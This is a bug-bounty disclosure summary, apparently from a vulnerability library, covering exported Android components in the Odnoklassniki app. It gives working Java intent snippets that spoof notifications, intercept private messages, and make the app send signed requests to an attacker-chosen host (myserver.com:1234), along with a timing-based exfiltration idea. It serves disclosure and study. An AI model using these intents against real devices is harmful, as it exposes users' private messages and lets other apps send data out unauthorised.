# Multiple critical vulnerabilities in Odnoklassniki Android application

Exported Android components in Odnoklassniki app allow intent spoofing, notification interception, and privilege redelegation of INTERNET permission to arbitrary servers.

- Payout: hidden
- Severity: high
- Program: ok.ru
- Found by: hardc0re
- Disclosed: 2016-07-26
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/97295
- Library page: https://bugbountylibrary.com/r/h1%3A97295
- Tags: area:mobile domain:mobile impact:data-leak impact:privesc kind:bounty platform:hackerone sev:high tech:android technique:source-review vuln:access-control vuln:info-disclosure vuln:misconfiguration

**Target:** Android application exported activities, broadcast receivers, and VideochatController
**Root cause:** Activities and broadcast receivers (StartVideoUploadActivity, NotifyReceiver) are exported without permission checks, and VideochatController passes an attacker-controlled `server` value into a RestApiMethodBuilder target URL, letting a third-party app make HTTP requests via the ok.ru app.
**Steps:**
1. Start video upload activity from another app: `Intent m = new Intent(); m.setClassName("ru.ok.android","ru.ok.android.ui.activity.StartVideoUploadActivity"); startActivity(m);`
2. Send fake notification broadcast: `Intent u = new Intent(); u.setAction("ru.ok.android.action.NOTIFY"); u.putExtra("key","d-147298617"); u.putExtra("message","..."); u.putExtra("dsc_id","612470493988:USER_PHOTO"); sendBroadcast(u);`
3. Register a BroadcastReceiver for `ru.ok.android.action.NOTIFY` to intercept private messages, caller_name, cid, dsc_id from notification extras.
4. Trigger privilege redelegation: `Intent m = new Intent(); m.setAction("ru.ok.android.action.NOTIFY"); m.putExtra("key","vchat"); m.putExtra("cid","c60b0e06695a4ce896261247b43f772b"); m.putExtra("caller_name","Fake User"); m.putExtra("server","myserver.com:1234"); sendBroadcast(m);`
5. Observe ok.ru app issue HTTP GET to `http://myserver.com:1234/api-get-signal` with signed uid/cid/client params.
**How found:** Code review of AndroidManifest.xml and VideochatController.java; noticed `this.server` passed directly into RestApiMethodBuilder target URL and that NotifyReceiver/StartVideoUploadActivity lacked permission requirements.
**Exploitation:** A malicious app without INTERNET permission sends intents to ok.ru's exported components; the app then performs HTTP requests to an attacker-controlled `server` on the attacker's behalf, and timing of repeated intents can exfiltrate data via morse-code-style encoding. Separately, a malicious receiver intercepts notification broadcasts to read private messages and sender IDs.
**Escalation:** Chaining the exported NotifyReceiver with the VideochatController `server` parameter turns a notification broadcast into an arbitrary outbound HTTP request, effectively redelegating the INTERNET permission to any installed app.
**Insight:** On Android targets, grep for exported broadcast receivers and activities that build URLs from intent extras; a `server`/`host` extra flowing into an HTTP client is a direct privilege-redelegation primitive even without INTERNET permission.